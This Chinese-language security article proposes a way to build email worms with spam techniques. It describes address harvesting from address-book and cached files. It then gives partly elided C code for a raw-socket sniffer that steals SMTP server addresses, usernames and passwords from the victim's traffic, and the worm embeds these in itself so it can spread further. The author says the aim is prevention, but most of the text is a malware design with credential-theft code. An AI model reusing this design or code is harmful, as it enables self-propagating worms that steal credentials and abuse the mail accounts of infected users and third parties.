网络安全 频道

邮件蠕虫与垃圾邮件技术的融合

背景

病毒,DDOS,垃圾邮件已经成为当今网络安全的三大技术难题。反垃圾邮件之所以如此困难,是因为(E)SMTP协议本身的缺陷。正如DDOS,是利用TCP/IP协议固有的缺陷一样。需要说明的是,邮件蠕虫为了传播自身而发送的邮件,也属于垃圾邮件的一种。

2003年出现的Sobig蠕虫使垃圾邮件的数量大为增加,许多安全专家认为Sobig使用了垃圾邮件技术并预言:蠕虫技术和垃圾邮件技术的融合将是未来的发展趋势。其实,这种说法虽然正确但不准确,不错,Sobig发送的邮件确实属于垃圾邮件,可是I LOVE YOU,HappyTime病毒发送的邮件又何尝不是?只不过Sobig发送两份相同邮件的频率高,所以截获的传播数量才特别大,但真正的感染数量并不大,Sobig在技术上并未采用垃圾邮件技术。

本文将在分析邮件蠕虫和垃圾邮件关键技术的基础上,提出利用垃圾邮件技术传播蠕虫的思想。当然,这并不是为了传播蠕虫,而是为了更好的预防未来可能出现的这类蠕虫。本文假设读者已经具备了(E)SMTP协议,蠕虫,垃圾邮件方面的知识。

邮件蠕虫的局限与解决方法

邮件蠕虫面临的3个主要问题:一是邮件地址搜集,二是服务器地址来源,三是如何使附件尽可能多地获得执行机会。本文只讨论前两点:

一. 邮件地址搜集

现在流行并被广被使用的搜集方式有两种:

从wab文件获得

从regedit获得wab文件路径,然后分析已知格式的wab文件,读取其中的地址。

从*.ht,*.htm,*.html,*.txt,*.dbx,*.eml等文件获得

可以遍历Internet临时目录或遍历硬盘,从上述扩展名的文件中寻找地址。方法和垃圾邮件搜索html页面类似,都是寻找mailto和@,作为合法email地址的标志。

第一种方法收集到的地址可信度比较高,点击率也会比较高;第二种方法如果地址选择算法严谨,那么找到的地址基本上都是合法的Email地址,但可信度较低。两种方法搜集到的地址数量都相当有限,成为蠕虫传播的制约条件之一。后文将会提到解决方案。

二.邮件服务器地址和帐号密码的来源

当前,几乎所有蠕虫都把一个或几个服务器的IP地址硬编码在文件体内,这样,一旦邮件服务器不可用,蠕虫也就停止了传播。而且,由于网络安全策略的限制,许多感染蠕虫的主机都无法和这些指定的服务器连接,从而影响了蠕虫的传播速度。这里提出一种新的方法来获得大量可靠的SMTP Server,帐户,密码信息。

在Win2000平台上,我们可以利用WinSock 2的特性,它允许程序使用WSAIoctl()给一个SOCK_RAW类型的Socket设置SIO_RCVALL属性,这样该Socket就可以收到所有经过本机的数据,这是一种无需编写驱动的简易Sniffer。

许多聪明的读者已经想到下一步的工作了,是的,利用原始套接字捕包,原则如下:

a.目的端口等于25。

b.从SYN包开始记录,这是客户端和SMTP Server正在连接。

c.根据HELO或EHLO来判断服务器是否需要认证。

d.如果是EHLO,捕获后续的用户名和密码。

e.根据MAIL FROM: 得到发件人。

f.抛弃蠕虫自身向25端口发送的报文。

g.如果捕获的数据发生错误的次数超过上限,抛弃当前的服务器,恢复到初始状态。

为方便起见,可以定义SMTPSERVINFO结构体来保存服务器信息。

typedef struct tagSmtpServerInfo {

DWORD   dwCredit;     //此服务器信息的可信度,根据发信成败增减

  BOOL   bAuth;     //服务器是否需要认证

in_addr   dwServerIP;   //邮件服务器的IP

char     szUserName[32];   //用户名

char     szPassWord[32];   //口令

char     szMailFrom[32];   //发件人

} SMTPSERVINFO;

下面的CaptureThread函数是捕包线程,工作方式和原则如上所述,为了节约篇幅,将初始化和判断成功的代码省略。

DWORD WINAPI CaptureThread ( LPVOID p )

{

WSAIoctl(CaptureSocket, SIO_RCVALL, &lpvBuffer, … , NULL); //设置为捕获所有报文

while( TRUE )

{

memset( buf , 0 , sizeof(buf) ) ;

iRet = recv( CaptureSocket , buf , sizeof( buf ) , 0 ) ;

pIpHeader = (IPHEADER *)buf ;

if(IsExistIP(pIpHeader->destIP) || pIpHeader->dPort!=::htons(25)) //不是蠕虫自身所发

continue;

if((pIpHeader->th_flag & SYN) == SYN)   //是和服务器开始握手吗?

{

bNewUser = TRUE;         //又有新用户发信了,开始记录 

iStatus=0;

dwFailCount=0;

}

if(bNewUser==FALSE)

continue;

pBuf= (char *)buf + sizeof(IPHEADER)+sizeof(TCPHEADER);

switch(iStatus)

{

case 0:                 //握手状态

{

m_pSmtpServInfo = new SMTPSERVINFO;

m_pSmtpServInfo->dwCredit=3;//初始可信度为3

  m_pSmtpServInfo->dwServerIP.S_un.S_addr =pIpHeader->destIP; //获得了ip

  iStatus++;

break;

}

case 1:

{

if(::strstr(pBuf,"HELO"))   //匿名smtp server

{

m_pSmtpServInfo->bAuth=FALSE;

        m_pSmtpServInfo->szUserName[0]=NULL;

m_pSmtpServInfo->szPassWord[0]=NULL;

iStatus=5;         //2(user),3(pass)跳过了

}

if(::strstr(pBuf,"EHLO"))       //服务器需要认证

{

m_pSmtpServInfo->bAuth=TRUE;

  iStatus=2;   //准备捕捉用户名和密码

}

break;

}

case 2:             //开始收藏帐户和密码

{

if(::strstr(pBuf,"AUTH"))

iStatus=3;

break;

}

case 3:

{

lstrcpyn(m_pSmtpServInfo->szUserName,pBuf,::strstr(pBuf,"\r\n")-pBuf+1);

iStatus=4;

break;

}

case 4:

{       ::lstrcpyn(m_pSmtpServInfo->szPassWord,pBuf,::strstr(pBuf,"\r\n")-pBuf+1);   iStatus=5;

  break;

}

case 5:

  {

…

  ::lstrcpyn(m_pSmtpServInfo->szMailFrom,…);

  PostThreadMessage(::gMainThread,…, m_pSmtpServInfo); //通知主线程

bNewUser=FALSE;       //不必再捕捉25包了,除非有新的握手信息

iStatus=0;           //恢复为初始状态。

…

主线程负责将此服务器信息写入病毒体,并对病毒体重新编码,使得再次发送的附件包含最新信息。同时,主线程还会启动一个新的邮件地址探测线程,连接此服务器,获得尽量多的此服务器的帐户并向其发送自身。如何获得帐户将在下文说明。

0
相关文章